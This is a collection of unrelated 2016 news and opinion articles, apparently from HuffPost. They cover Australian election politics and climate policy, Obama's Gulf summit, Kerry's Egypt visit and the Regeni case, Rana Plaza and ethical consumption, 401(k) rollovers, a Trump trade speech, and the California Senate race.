Mirabella has since emphatically denied the allegations, but McGowan issued a statement claiming the former MP had "intervened to prevent the photo being taken" in what was an "unfortunate incident occurred."

On Thursday night, Sky News held a forum with the Indi candidates where Mirabella claimed that she had secured $10 million for a local hospital, but that the government had withdrawn the support after McGowan won the seat.

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.@MirabellaSophie says the govt withdrew $10 million for Wangaratta hospital because voters elected .@Indigocathyhttps://t.co/nWonGwnU1U  Sky News Australia (@SkyNewsAust) April 21, 2016

"I had a commitment for a $10 million allocation to the Wangaratta hospital that, if elected, I was going to announce the week after the election. That is $10 million that Wangaratta hasn't had because Cathy got elected," Mirabella said.

The announcement was met with gasps and shocked faces.

Catherine King, the opposition health spokeswoman, told The Australian the revelations were "deeply disturbing."

"Malcolm Turnbull must publicly apologise to the people of Indi, and pledge that his government will never again put political payback ahead of the health needs of all Australians," she said.

It was not the ideal start to the campaign for Mirabella, who is fighting to regain her seat after she was sensationally dumped in 2013.

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Mirabella held the Victorian seat of Indi from 2001 to 2013. A polarising figure in Liberal politics, deemed "rude, imperious and arrogant"; she boycotted the Labor apology to the stolen generation, and in her time in parliament, was seen as an abrasive figure. "She is the nastiest," Tony Windsor said in 2013, when asked about the person he would least miss in parliament.
ASSOCIATED PRESS Demonstrators from the environmental group Greenpeace paint their faces white to highlight coral bleaching in Sydney, Friday, April 22, 2016. The group are attempting to raise concerns of climate change when as many as 170 countries are expected to sign the Paris Agreement on climate change as the landmark deal takes a key step toward entering into force years ahead of schedule. (AP Photo/Rick Rycroft)

A total of 175 countries gathered at the United Nations in New York overnight to sign the The Paris Agreement that was brokered in December last year.

The meeting marked an international push to legally bring the climate change agreement into force. It is the largest number of signatories ever garnered for the opening day of a UN agreement.

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The Paris Agreement was widely regarded as 'historic'; the best possible global agreement to curb climate change and slow the pace of global warming. But with great promise comes great responsibility to act. And in the months since, Australia's trajectories are quickly dimming.

Environment Minister Greg Hunt spoke with ABC radio on Saturday from New York. He said Australia has signed the agreement and will immediately begin the process of ratifying it. According to Hunt, Australia is on track to "meet and beat" its emissions reductions targets set out under the agreement.

At home, environmental activists painted in white staged a sombre protest over the plight of Australia's dying reefs. And Cabinet Ministers continue to question the science of climate change.

93% of our Great Barrier Reef has lost its colour from global warming. Lets stop burning polluting coal #coalfreepic.twitter.com/LDjQ0ubpLo  Greenpeace Aus Pac (@GreenpeaceAP) April 21, 2016

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SO, WHAT IS IT?

The Paris Agreement was signed on December 11, 2015 by 195 nations worldwide. After two weeks of negotiations and word-wrangling at the 21st Conference of the Parties, or COP21, diplomats agreed to a global climate change accord that sets a cap on global warming at "well below" 2 degrees Celsius and an aspirational 1.5 degrees. The end goal? Reaching global net zero carbon emissions by 2050.

"The agreement says we are going to limit pollution, and it outlines our targets moving forward," CEO of the Australian Conservation Foundation Kelly O'Shanassy told The Huffington Post Australia.

"Global warming is a global problem and it needs a global solution. The agreement was the first critical step."

CEO of The Australian Conservation Foundation, Kelly O'Shanassy attended the climate change summit in Paris.

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The accord was the world's first comprehensive climate agreement to commit all countries to cutting carbon emissions. Signatories were tasked with preparing, maintaining and publishing their own greenhouse gas reduction targets that should be greater than current targets and should reflect the highest possible ambition. It is partly legally binding and partly voluntary, providing for five-yearly reviews that will assess whether countries are meeting their commitments.

O'Shanassy, who attended the conference, said there were tears of relief when the Paris Agreement was finalised -- but many pointed to the task ahead.

"It was a wonderful experience to be there on the day of the signing. It was really the vulnerable, low-lying nations that pushed it over the line.

"At 1.5 degrees and above, they lose their homes. At 1.5 degrees and above, we lose the Great Barrier Reef... were already seeing this and we havent even go to those levels of warming yet. If we dont get on to reducing pollution fast, it is just a piece of paper.

Australia was one of 195 parties to commit to the agreement last December. It will come into force as soon as 55 countries responsible for 55 per cent of the world's greenhouse gases have ratified the accord.

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The target date for the agreement to begin is 2020, but momentum is building to ensure the accord enters into force much earlier.

IS AUSTRALIA ON TRACK?

In the months since the Paris Agreement, Australia has traipsed through two of the hottest months ever recorded and an El Nino event that saw localised warming reach higher than 1.5 degrees. And we have seen the devastating results  with 93 percent of Australians reefs now impacted by coral bleaching due to warming oceans.

We are seeing the impacts in nature of global warming right before our eyes. And yet the ambitions of what we signed up to in Paris are not achievable within the current suite of the Australian governments climate policies, OShanassy said.

Australias current pollution reduction targets sits at a 26 to 28 percent emission reduction target by 2030. Up against global standards this is very weak.

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If all countries targets were as weak as Australias, we would be tracking towards warming of three to four degrees, she said.

Environment Minister Greg Hunt said the Governments target are one of the highest emissions reductions targets on a per capita basis in the world.

"We beat our Kyoto 1 targets. We're now clearly on track to meet and beat our Kyoto 2 targets and our Paris 2030 targets are strong and ambitious and they have been welcomed and hailed," he told ABC television.

What they dont tell you is that we will still be one of the highest emitters per capita even after those reductions occurred because they are currently so high, said OShanassy.

According to OShanassy, the Australian government is purporting a sustained attack on renewable energy in Australia, through an 88 percent reduction in investment in 2014 and a weakened Renewable Energy Target.

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By doing all of this, our government has said we are open to business for coal and closed for business for renewables. The market has responded and pollution is increasing.

Greens Deputy Leader and climate change spokesperson Senator Larissa Waters describes the governments track record as woeful.

Their actions are flying in the face of commitments made at the conference. We have seen the cutting of the renewable energy targets, the slashing of The Australian Renewable Energy Agency and the continued approval of coal mines," she told Huffpost Australia.

The government has been ignoring the science and probing their targets.

MOVING FORWARD

The government has made a commitment to ratify the Paris Agreement this year if re-elected.

For OShanassy, climate policy -- and all scenarios that limit global warming -- must point to a clean energy transformation.

What we need is to phase out our existing coal plants and replace those with renewable energy and that has to be done carefully and in a planned way, she said.

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We need to make sure there is not an energy disruption and we need to take care of the workers and communities in those coal mining areas.

A lot of modelling shows that can by and large be achieved by 2030.

The Australian Greens have developed a transition plan to achieve 90 percent renewable energy by this date and phase out fossil fuel power stations with a $1 billion Clean Energy Transition Fund to be overseen by a new government agency, Renew Australia.

The plan proposes an immediate ban on new coal and gas as well as targets to rapidly reduce Australias climate pollution with a 60 to 80 percent cut by 2030.

We want to implement pollution reduction targets based on what science is telling us and to speed up that transition to renewable energy, Senator Waters said.

This is the defining issue of our generation. The fact that many members of parliament are still sceptical about the science is deeply disturbing.

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Andrew Meares via Fairfax

This election is an opportunity to end Australia's policy sclerosis and recalibrate the direction of Australian politics.

The upcoming election is about more than who will run the country for the next three years. The result will fundamentally shape the style of policymaking Australian voters will see in their future government and parliament.

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The past two and half years of conservative government in Canberra have been at best disappointing; at worst, a failure. Two years were wasted backpedaling from a politically disastrous 2014 budget that struck at the core of the Australian sense of fairness and opportunity, shattering then Prime Minister Abbott's mandate to lead.

But since the change of leadership last September, the government has pressed pause on the policymaking process. Instead of leading the debate, it has outsourced thought leadership to the federal opposition which has seized on the policy vacuum in Canberra and put forward its own credible agenda for reform.

The achievements touted by the government are as crass as they are insubstantial: repealing environmental legislation, launching a Royal Commission into their political adversaries, and claiming sole credit for several free-trade agreements that have been advocated on a bipartisan basis for years.

Turnbull has attempted to recapture the imagination of the Australian public by launching an "innovation agenda" aimed at delivering an "ideas boom" and fueling a new Australian economy.

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But the reason the Australian economy needs reigniting is because of an over-reliance on the previous 'boom' in mining, which, now that it is tapering off, has left Australia ill-prepared for its necessary economic transition.

The government is setting its hopes for the future of the Australian economy on a $1 billion investment in innovation ($28 million of which is an advertising campaign selling its virtues), despite spending its first two years in office considerably de-funding science, education and research and development programs that are essential to encouraging innovative thinking in a new economy.

If Turnbull's hopes for Australia's future economy rest squarely on a billion-dollar 'boom', he is thinking wishfully.

And now, the Australian parliament has been recalled (at considerable taxpayer expense) in order to attempt -- but fail -- to legislate a regulatory body (the ABCC) aimed at constraining the political power of a leading union, and to remove an independent regulatory body, the Road Safety Remuneration Tribunal, whose mandate is to ensure Australia's roads are safer.

With the Senate rejecting the ABCC bill for the second time, Turnbull has the constitutional trigger to call an early election, which he has now confirmed will occur on July 2.

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The government is bizarrely entering an election campaign after using the parliament to attempt to implement a regulatory body to monitor their political opponents, and remove another that aims to ensure the safety of Australia's roads. Not on the back of a substantial reform agenda, but on a false sense of momentum buoyed by disrupting the political clout of their union opponents, have they chosen to head to the polls.

As disheartening as the previous two and a half years of Australian politics have been, this style of leadership would only continue under a re-elected Turnbull government.

The most concerning aspect of this term of government has been the shift towards an Americanised style of policy debate -- one that recycles debates of old to create new political opportunities.

In the United States, Roe vs Wade, the supreme court decision legalising abortion, is still vigorously debated in contemporary politics, some 43 years after the debate was fought, won, and settled. The current Australian government's willingness to undo policies that had been fought, won and achieved community consensus is alarming.

This is most notably represented by the government's rejection of the Gonski education reforms. The Gonski agenda was sound public policy that achieved community consensus and was, at the time, bi-partisan. But once in office, the government set about undermining this legislated reform agenda that had been accepted by the Australian public.

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Gonski isn't the only example. The government has also spent its energy threatening to significantly raise higher-education costs, and undermine the Australian public's confidence in medicare. Instead of understanding the threat caused by climate change that is increasingly accepted in the Australian community, they have offered an insubstantial and expensive environmental agenda that has countered a global push at tackling emissions and divided the Australian public.

And this is after two and a half years.

In a further Americanisation of Australian politics, the government is placing its election hopes purely on the shoulders of the popularity of prime minister Malcolm Turnbull, not on his party, which is splitting at the seams.

But instead of a head-to-head, presidential style contest between leaders the government is relying on, this election is very much one between Turnbull and a united Labor Party, not just opposition leader Bill Shorten.

This election is about more than who will lead the country for the next three years. It is an opportunity to reject the policy sclerosis that has defined this government, open the door to new reform agenda, and reject the Americanisation of Australia's political debate.
President Barrack Obama's visit to the Gulf Cooperation Council (GCC) summit this week should have been more than just another bland photo-op that it was in much of the Arab press, including, tellingly, the lack of live coverage on Saudi state television. Gone are the poetic pleas for unity that graced the president's 2009 Cairo speech. America's Arab allies have hard questions for him. Perhaps the most difficult issue was Obama's nuclear deal with Iran. Arab leaders see the hand of Iran everywhere that there is blood and burning buildings: in Yemen's bitter civil war, in Iraq's costly struggle for survival with Isis, in Syrian dictator Bashir al-Assad's brutal war against his own people that have taken more than 300,000 lives and displaced some 3 million people. In Libya, Iran backs murderous militias and Islamic radicals while in Bahrain and in Saudi Arabia's oil producing region, it is encouraging Shiite uprisings against Sunni leaders. Add to that, Iran's ambitious nuclear program and its long-range missile building efforts. American and European leaders shocked Arab rulers with its deal with Iran, whereby the Islamic Republic is poised to receive billions of dollars in income frozen following the 1979 American hostage crisis and to see virtually all sanctions lifted. Seen through Arab eyes, their aggressive Persian neighbor is about to become richer, more powerful and more dangerous. Therefore, the subject of defending America's Arab allies from a hegemonic Iran dominated both public and private talks with President Obama. Islamic radicalism was the summit's other urgent topic. Obama's counterterrorism efforts have also been faulted by Arab leaders, who say the once rapid tempo of exchanging both human intelligence and signals intelligence, like phone intercepts and satellite images, has slowed at the very time in which the danger is rising. Addressing both problems, President Obama needed better answers than the usual ones offered by his subordinates in the administration. One thing that Obama could have suggested is a Marshall Plan for Iraq and its war-torn neighbors. Investment and philanthropy are essential to guiding the transition of Syria and Iraq to peace. A senior American official has acknowledged this reality, saying it will take both will and wallet to right the course of the region. If the president had said say something similar, it would be a meaningful olive branch.

The agreement with Iran is only the visible part of the iceberg. Much more lies beneath the waves. The U.S. has been maddeningly unclear on its position on Iran's proxy war in Yemen or its attempts to destabilize Bahrain and Saudi Arabia. As a result of the poorly explained shift in U.S. policy, the American-Arab alliance is fraying and faltering. Some Arab leaders murmur that the partnership is a Cold War relic that has outlived its usefulness while others wonder what would happen if Arab nations started selling their considerable supply of U.S. Treasuries. Neither ending the alliance nor selling America's debt would be good for the United States or the world. Obama needed to speak clearly about America's strategic goals--and the safeguards for Arab lands--if he wants to stop the rift from widening. Here the president could adopt something from America's oldest Arab ally, Morocco. Consider the kingdom's struggle against Iran and extremism. Uniquely,Morocco's king also enjoys the title "Commander of the Faithful," which allows him to set curriculums at religious schools, discourage the preaching of extremism and to actively promote moderating influences (including providing religious leadership roles for women). With U.S. encouragement, this model could be adopted by other Arab monarchies. Morocco's king also had unusually strong words that Obama's team would be wise to study. "Arab Spring," the king said, has become"a calamitous autumn."Iran-backed radicals seek to topple even prosperous monarchies, including Morocco and the Gulf. The Gulf Arab states, Jordan and Morocco, the king urged, must unify against the forces of anarchy or each of them could fall. "Things are quite clear and require no further analysis. They [extremists] want to destabilize the few countries which have managed to safeguard their security, stability and political systems." In short, Arab rulers see rising threats while the U.S. seems complacent and puts it hopes in its agreements with Iran. This divide must be bridged. The king pointed to the controversial remarks of the U.N. Secretary General, where he seemed to take sides against Morocco in a 50-year battle by separatists to carve out a new imaginary country called Western Sahara out of southern Morocco. The king linked uprisings in the Eastern end of the Arab world (Bahrain, Syria, Iraq) with attempts to divide his kingdom in the Western end of the Arab world. This month, the U.N. Security Council takes up the issue and diplomats are expecting the usual feud. This time, it may be very different. Arab nations, as Morocco's king recently said, are increasingly seeing every attempt to divide their countries as a shared threat. Time is running out to save America's alliance with the Arab monarchies. Obama could begin by saying that the U.S. will not tolerate any nation to be divided against its will, that it will not allow any terror group or international body to split states, that it will support a unified front against Iran's nuclear ambitions and support for violent extremism and that it will help finance the rebuilding of the Arab land it once smashed, Iraq. The price of doing nothing is an Arab world that drifts into alliance with Russia and China. Military and trade ties are already increasing between them. Once that happens, a friendship that was born in the days of Franklin Roosevelt will fade and, with it, much of the remaining stability of the world.
CAIRO, EGYPT - APRIL 20: Egyptian President Abdel-Fattah el-Sissi (R) meets with U.S. Secretary of State John Kerry at the Presidential palace April 20, 2016 in Cairo, Egypt. Kerry. The officials were to discuss bilateral ties and regional issues, according to reports. (Photo by Amr Nabil-Pool/Getty Images)

John Kerry's visit to Egypt went as follows: wide smiles and gold-rimmed divans at the photo op, followed by a nice declaration of support for Egypt -- described as a pillar of peace -- and a press conference that was, unsurprisingly, cancelled. And then it was ciao-ciao all around.

A quick visit with grave omission: that's the best way to describe American Secretary of State John Kerry's visit to Egyptian President Abdel Fattah al-Sisi, conducted in the name of peace and security in the region. Mr. Kerry didn't say a single word to address the scandalous, mafia-like silence maintained by the regime around the killing of Italian PhD student Giulio Regeni. We'll see if The New York Times is willing to label Kerry's silence as "shameful," just as it described France's position right before French President Francois Hollande's visit to Egypt last week.

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In the world of diplomacy, even silence and inaction can be full of meaning. The U.S. has decided not to utter a single word on this case -- to the disappointment of the public in Europe and beyond. We must then conclude that the focus in Washington, just as in Paris and Berlin, is on other priorities: oil, weapons, and ISIS, to name a few.



Nothing short of severe, collective European action against the Egyptian regime will force anyone in that country to change course.

It's true that Hollande later attempted to adjust his position, stating that he had spoken privately with al-Sisi about that hateful assassination. He also said that Merkel's right hand, German social-democrat Sigmar Gabriel -- who originally described the Egyptian President as "impressive" -- later stated that he finds Regeni's case frightening and worrying.

But what really worries us are these politicians: Their manifest indifference and the yawning chasm between business affairs and basic respect for human rights. This is the same logic that guided al-Sisi as he managed the dispute with Italy through the troublesome affair of Giulio Regeni's death: make promises, bide time, threaten economic sanctions and retaliation.

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It's clear that, operating on its own, Italy risks winding up boxed into a corner. Nothing short of severe, collective European action against the Egyptian regime will force anyone in that country to change course. Such action could start with imposing sanctions. It wouldn't be an enormous move, but it would send a strong political message.

It is now clear that the key word in this case is politics. The men who are loyal to al-Sisi have evoked politics on more than one occasion, after talks with Italian investigators fell through, as an impediment and obstacle to full resolution of the case.

Renzi and Gentiloni can already rely on allies in Europe who are willing to stand behind the claim that Giulio Regeni's assassination was a "political crime," starting with the UK.

Other countries, and the long wait, will wind up playing to the Egyptian regime's favor: They will send the death, under torture, of an Italian student -- and all the other Egyptian desaparecidos -- to disgraceful oblivion.
Photo Credit: Reuters (bit.ly/1XrAwrs)

April 24th marked the third anniversary of the Rana Plaza tragedy in Bangladesh, in which over 1,000 garment factory workers lost their lives and more than 2,500 were gravely injured while producing clothes for big apparel brands. The scale of the Rana Plaza tragedy left consumers around the world questioning where their clothes were made, by whom and under what conditions? Unfortunately, tragedies like these are not uncommon, although, they do not always make the news.

Discussions about exploitative labour conditions and forced labour can leave us feeling overwhelmed and helpless. In a world of fast food, fast fashion, and fast technology, where should we even begin in order to make a difference? How do we address our society's constant demand for newer, better, faster, and cheaper products, which is relentlessly driving the search for low cost labour and higher profit margins? How can we as consumers help change the status quo and bring about a more equitable system; a more soulful economy? These are tough questions to answer; but if the countless sweatshop campaigns directed at the big brands in the 1990s and the worldwide outrage at the Rana Plaza tragedy three years ago have taught us anything, it is that consumers have the power to drive change.

Consumer outrage, our purchasing choices, and our demands can and have triggered several positive changes to labour conditions and worker protection around the world. As Diane Osgood points out in her article, "Shop Like You Mean It: Why Ethical Fashion Matters" - "with each dollar we spend, we vote for the world we want". Every time we buy a product - whether it is clothes, food, electronics, or jewelry, we illustrate our preferences to retailers. By turning to ethically sourced and produced goods, we as consumers can mark our preference for products not produced under exploitative social and environmental conditions, but rather those that encourage fair labour practices, support and dignify workers, nourish the environment, and foster values. With this immense power, we can contribute to positive change that reverberates throughout the value chain, and make a difference for the people who are making our clothes, assembling our electronics, and yes, mining our diamonds. In this way, we can also send clear signals to the market, and incentivize the industry to follow suit.

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In the case of Bangladesh, the worldwide public outrage at the Rana Plaza incident prompted the creation of the Fire and Building Safety Accord, to which, over 200 apparel brands, retailers and importers have signed on, and which, we will hopefully see being fully enforced. At the same time, we are also starting to witness the emergence of new laws across the world, which make parent companies liable for human rights' violations, as well as the health and environmental damages committed abroad by subsidiaries, and even by suppliers and vendors. This could represent a civil and criminal liability for the company, if breaching the duty of care, or for failing taking enough preventive measures to avert the damage from occurring.

Essentially, what was once considered a moral obligation at best, and normal business practice for most, is today characterized as Environmental, Social, and Governance (ESG) issues, for which, companies get punished by stakeholders and the courts. ESG factors are a subset of non-financial indicators, which can affect the performance of investment portfolios. Institutional investors are therefore starting to give substantial consideration to ESG-related risks and opportunities that may significantly impact their financial returns. In the boardroom, the C-Suite Executives are now realizing that in order to keep their social license to operate, they must not only reduce their negative impact, but also improve the positives, align sustainability with their core operations, and communicate it effectively to their stakeholders.

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What smaller, soulful economy businesses have embarked on is a force for good, but for it to become a mainstream movement, we need to make 'soulful economy' scalable. This will involve making more conscious purchasing decisions, which will not only help our own souls and conscience, but also make a difference in the lives of those millions of others who remain invisible in the current economic model. In this sense, 2015 was a groundbreaking year - it was the year when the Millennium Development Goals (MDGs) were replaced by the Sustainable Development Goals (SDGs) with a transformative and inclusive 2030 Agenda for Sustainable Development that was adopted by world leaders and global businesses in September at the United Nations. These 17 Sustainable Development Goals promote global prosperity, people's well-being, and protection of the environment; targeting both the developed and developing countries, and the public and the private sector. 2015 also marked the year that the Modern Slavery Act in the U.K. was passed, having tremendous implications for businesses and the people it protects.

The private sector is also connecting the dots and taking responsibility by aligning its business plans and strategies with the Sustainable Development Goals (SDGs). Initial surveys conducted among businesses, civil society and stakeholders to identify the prioritized SDGs show that globally, SDG 8 - Decent Work and Economic Growth" is the clear frontrunner. Understandably, this is one of the key SDGs, which has a direct impact on labour conditions, human rights, equality; and also one that also impacts all the other SDGs: including Zero Poverty (SDG 1), Zero Hunger (SDG 2), Good Health and Well-Being (SDG 3), Industry Innovation and Infrastructure (SDG 9) and Reduced Inequalities (SDG 10).

Photo Credit: UN Sustainable Development Goals

Needless to say, all the 17 Goals are of utmost importance and are remarkably interlinked. However, it begs the question as to how we are to address issues such as forced labour, exploitation, and inequality without considering SDG 12 - Responsible Consumption and Production? Francine LeFrak mentions in her article "The Runaway Challenge: Fashion Week for the Soulful Shopper" that "Americans today buy 400 percent more clothing than they did 20 years ago and consumerism now makes up 72 percent of the U.S. economy". That is just clothing. Big electronics brands come out with upgraded, nicer, and more powerful gadgets like phones and tablets every year. Pause now, for a moment, and think about how consumption has gone up in every area of our lives. Next, think about the impact - social, ethical, and environmental. How many Rana Plaza's can be prevented in the future, if we move away from the mindless, bargain driven consumption to a more ethical and soulful consumption?

Photo Credit: GlobalCitizen (http://glblctzn.me/1PQjZcU)
Spring has officially sprung. Now's the time to shed your winter coat, tidy up the boxes in the attic and sweep away all that dust in the garage. While you're in cleaning mode, it's a good idea to get your finances in order as well. One natural place to start is with your 401(k) plan, or perhaps, plans. If you have old 401(k)s from previous employers, it's important to know what your options are for dealing with those accounts.

Generally speaking, there are four choices when it comes to handling your 401(k) when you leave a job. It's important to think through these options and make the decision that's right for you. Here's what to consider:

Leave it, but don't "set it and forget it." Your first option is to keep the funds in your old plan, assuming your former employer allows it. While your 401(k) may continue to perform in line with the market, you will no longer be able to contribute to it since you're no longer working at your previous company. If you choose this option, you should check your investment allocations to ensure they reflect your current preferences and then continue to adjust these over time. Fees are another thing to keep in mind. Some previous employers may charge you extra administration fees, which could eat into your overall return, as could excessive investment management fees.

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Roll it over. A second option is to roll over your old 401(k) into an individual retirement account (IRA). This will allow you to keep retirement assets invested in a tax deferred account. An IRA may also offer greater investment flexibility including mutual funds, ETFs, stocks, and bonds, as opposed to a 401(k) that is typically limited to a smaller core lineup of investment choices selected by an employer. In addition, an IRA often provides greater flexibility when people are ready to start receiving retirement income. According to the Employee Benefits Research Institute (EBRI),* 38 percent of workers have elected to roll over their old 401(k) into an IRA, so it's a common choice. However, if you move your 401(k) to an IRA, be sure to research any fees you may incur for opening and maintaining your account.

Transfer it to your new employer's plan. Your third option is to roll your old 401(k) over to your current plan. If you're considering this route, I'd recommend consulting with your new human resources department to confirm that rollovers are permitted. A quarter of workers in that same EBRI study have rolled over their old 401(k) assets into their current workplace plan, and these folks will enjoy advantages such as deferring taxes and avoiding potential penalties. Utilizing your current 401(k) rather than an IRA may also provide you with greater access to lower-priced investments that may be more readily available to investors in larger workplace plans than to individuals.

Take the cash. A final option is to take a cash distribution. However, I don't recommend this choice, as you'll need to pay income taxes on the distribution, and you'll likely have to pay a 10 percent tax penalty as well, if you are under age 59-1/2. This tactic also takes the money you have already allocated toward retirement and, if you're not diligent, potentially redirects it to other expenses entirely. Remember, planning for your retirement should be a priority at any age, so avoid any action that could derail your savings efforts for years to come.

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Ask for help. Before you decide which option is best for your old 401(k), be sure to consider factors such as fees, available investment options, distribution options, legal and creditor protections, loan provisions, tax treatment, and other concerns specific to your individual circumstances. Some plans offer the option to speak to a professional who can help you make the best decision for your financial situation. A recent survey** found that 73 percent of respondents say they would be very or extremely confident in their ability to make the right 401(k) investment decisions with the help of a financial professional, versus only 44 percent who would feel that same level of confidence on their own. If professional advice is available to you, it's certainly worth checking out.

Again, now is the perfect time to track down your old 401(k) accounts and get your financial house in order. Seek out guidance, pick the option that works best for you and continue saving in your 401(k) as you work toward your retirement goals.

*EBRI 2016 Retirement Confidence Survey.

**2015 401(k) Participant Survey conducted by Koski Research for Schwab Retirement Plan Services, Inc. Koski Research is not affiliated with Schwab Retirement Plan Services, Inc.
"That's right - a lot of people up there can't get jobs. They can't get jobs because there are no jobs because China has our jobs and Mexico has our jobs. They all have our jobs.

[. . .] I'm going to tell you a couple of stories about trade, because I'm totally against the trade bill for a number of reasons.

... Free trade can be wonderful if you have smart people. But we have people that are stupid. We have people that aren't smart, and we have people that are controlled by special interests and it's just not going to work.

So here's a couple of stories. Happened recently, a friend of mine is a great manufacturer, and you know, China comes over and they dump all their stuff.

... And it's impossible for our people here to compete. So I want to tell you this story. Friend of mine if a great manufacturer. Calls me up a few weeks ago, he's very upset.

I said, 'What's your problem?'

He said, 'You know, I make a great product.'

I said, 'I know, I know that, because I buy the product.'

He said, 'I can't get it into China. They won't accept it. I sent a boat over and they actually sent it back. They talked about environmental, they talked about all sorts of crap that had nothing to do with it.'

I said, 'Oh, wait a minute, that's terrible. Did anyone know this?'

He said, 'They do it all the time with other people.'

I said, 'They send it back?'

He said, 'Yea, so I finally got it over there, and they charged me a big tariff.'

They're not supposed to be doing that. I told him. Now they do charge you tariffs on trucks when we send trucks and other things over there.

Ask Boeing. They wanted all their patents and secrets before they agreed to buy planes from Boeing.

Hey, I'm not saying they're stupid. I like China. I just sold an apartment for $15 million to somebody from China. Am I supposed to dislike them?
red boxing gloves isolated on...

There's no doubt that the contest to replace outgoing California U.S. Senator Barbara Boxer is a sleeper. Far different from the hard-fought, rancorous warfare embraced by candidates in the 1992 primary election that Boxer ultimately won, the 2016 race to succeed her resembles the complete opposite of the intense competition, enthusiasm and fierce exchanges on substance and policy that we're witnessing at the Presidential level.

That's precisely the problem. This is a generationally-important race for a U.S. Senate seat that one of the candidates can potentially hold on to for decades. It's a seat for the highest legislative office in arguably the world, and from the most populous state in the nation. Moreover, it's a platform to create monumental, long-lasting change.

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With so much awesome power and possibility on the line for whoever becomes California's next U.S. Senator -- how come there are so few debates?

Sure, there's one coming up next week hosted by the University of the Pacific, and a sprinkling of only a few other debates before the primary on June 7th. But don't voters deserve more?

The two frontrunner candidates and likely November run-off competitors, Attorney General Kamala Harris and U.S. Congresswoman Loretta Sanchez, are both Democrats. Despite their shared Party label, that doesn't mean they're a mirror image of each other when it comes to their agendas or policy objectives for the Senate.

In such a sprawling, diverse state as California, with so many different kinds of people and places, from Los Angeles to Silicon Valley, the Central Valley to San Diego, Orange County to San Francisco and the Central Coast, and more, voters everywhere have different concerns and priorities. Instead of minimizing the candidates' exposure to voters with only a handful of debates and a spectacle of television ads, shouldn't voters have more opportunities to see, hear and learn directly from the candidates in person?

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Whether it's a discussion about foreign policy and how the U.S. can tackle ISIS, deal with the Syrian conflict, protect our ally Israel while moving the ball forward on peace in the Middle East, dive into how we defend our nation from cyber terrorism, embrace free trade or fair trade, grapple with China, or combat North Korea's aggressiveness--there are myriad issues confronting the U.S. and a limited number of debates will significantly limit the discourse on them.

And how about domestic policy? Do Harris and Sanchez support Senator Bernie Sanders' bold ideas to expand Medicare and Social Security or do they prefer more of an incremental approach like former Secretary of State Hillary Clinton prefers? When it comes to climate change, will they work to adapt California's innovative and tough environmental laws nationally, and if so, how? What about how they would build a realistic coalition in the Senate to pass comprehensive immigration reform with a pathway to citizenship? When it comes to women's rights, how will they advance equality issues like pay equity and protecting choice?

On the drought, do Harris and Sanchez support Senator Dianne Feinstein's compromise legislation or do they have plans of their own? What about their visions for how to address income inequality? And on taxes, do Harris and Sanchez stand with Clinton's promise not to raise any taxes on those making $250,000 or less, or do they side with Sanders' idea that in order to pay for big government programs like single-payer healthcare and free college tuition, all Americans will need to pony up a bit more.

California is a big state with over 38 million people and nearly 18 million voters. It's hard to have debates in the first place, let alone present them in a way that everyone in the state can watch and see. Still, that doesn't mean we shouldn't try for more.

Given the intensity and competitiveness of the 2016 Presidential race, it's highly likely that voter turnout in the state will tick up beyond the usual June primary turnout. With more voters participating in the process, this also adds more justification for the need of increasing the number of debates so that an expanded electorate can have an opportunity to become more informed about the Senate candidates.

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Understandably, some of the candidates might view debates as a gamble because it makes them vulnerable to attacks or missteps when in the spotlight.

Take Harris for example. While conventional political wisdom dictates that if you're ahead, then a candidate like Harris probably shouldn't make herself susceptible to such scrutiny by engaging in debates. Contrary to that philosophy, I think in the case of Harris, more debates can actually help her. Why? Because she's hit a real ceiling in this race, hovering around just 30 percent in recent polling. Part of this is due to the fact that she hasn't started her paid media campaign which will communicate her message statewide to voters.

The other side of this is that voters and the press find Harris to come off as cautious, calculating and polished. That's then reflected in the news coverage of her campaign. An example of this was the fact that for the first few months after Harris entered the Senate race, she severely restricted her narrative to only endorsements and talking points surrounding her official duties as Attorney General, without weighing in on major national issues of the day. Since then, she's definitely made some progress in talking about broader issues, but it's still nonetheless a challenge to get Harris out of her comfort zone when it comes to talking about a wide range of policy topics. Debates will help with this and show that she's a candidate of real depth and substance and is not solely confined to policies impacting only the criminal justice system.

Sanchez, on the other hand, is definitely well-positioned for second place in the race, but she hasn't done enough to catch up to Harris' consistent lead in polling. Much of this is because she's lagged in fundraising and institutional support while Harris has nabbed the vast majority of organizational endorsements, chiefly the California Democratic Party. Still, Sanchez can be exceedingly formidable in this race given the historic nature of her candidacy, like Harris, but also her deeply extensive resume in Congress. She, even more than Harris, needs additional debates. At a time when her campaign is desperate for oxygen and media coverage to help boost her name identification and get her message out, the exposure alone from debates will help her exponentially. She could also use it to draw a deep line in the sand to contrast herself with Harris on key issues.

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If necessity is the mother of invention, when it comes to national politics, young people will need to be Patriarchs and Matriarchs 2.0.

In my last post, I issued an invitation to college students (who according to a recent poll, prefer to be referred to as Young Americans, rather than Millennials) to speak up about the current state of politics. During one of the most divisive and indecisive periods in our country's history, it will be partly up to them to help sort through the fragments of a fractured Republican Party and heal the split in the Democratic Party between center and left, in order to get our government working again.

The status quo in national politics is on its last legs and while it may hang around for this one last election cycle, things cannot continue as before in a gridlocked system where standoffs and shutdowns are the modus operandi. With an electorate this alienated and angry at Washington's continued dysfunction, the message that will linger long after November is that we need serious bipartisan dialogue about the issues and negotiations that will lead to compromises and solutions. Business-as-usual is politically bankrupt.

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We put up a link on our Practically Republican website, Join the Conversation, inviting Young Americans to send in their thoughts, comments and ideas about where the nation is right now and where we need to go. I want to share some of their responses as they speak to the heart of the crisis/opportunity we are currently facing. (Note: the quotes have been edited for brevity).

Luke Phillips, a student at USC, is a GOP supporter and he talked about what he sees as his place in the national conversation.

"I want to DO stuff, not just complain or pontificate. And that means being involved in the circles where the power is. I just want to serve my country as an excellent intellectual, politico, and public servant who has his hands in various cookie jars, and puts his soul in without selling it. But I need to have access to circles of influence in order to do this and that means being involved in one of the major parties, rather than just joining online discussion groups."

Adam Richardson attends Park University and is looking at the employment landscape facing him after graduation. He points to education reform as one of the key issues that has so many young people flocking to Bernie Sanders and if the GOP wants to position itself as a job-creating party, it must address the prohibitive costs of a college education.

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"Our economy is shifting away from the traditional employer/employee relationship. 'Jobs' now need to be careers and the only way a career can happen is with education. We need new professionals to innovate this new economy. The only way we can do this is if we dramatically lower or free up the cost of a four-year education."

The response that moved me the most was from a 25 year-old young man named John, who preferred to remain anonymous. John addressed how out of touch the GOP is with him and his peers on policies such as climate change and immigration, as well as on social issues. His decision to choose anonymity speaks directly to the latter.

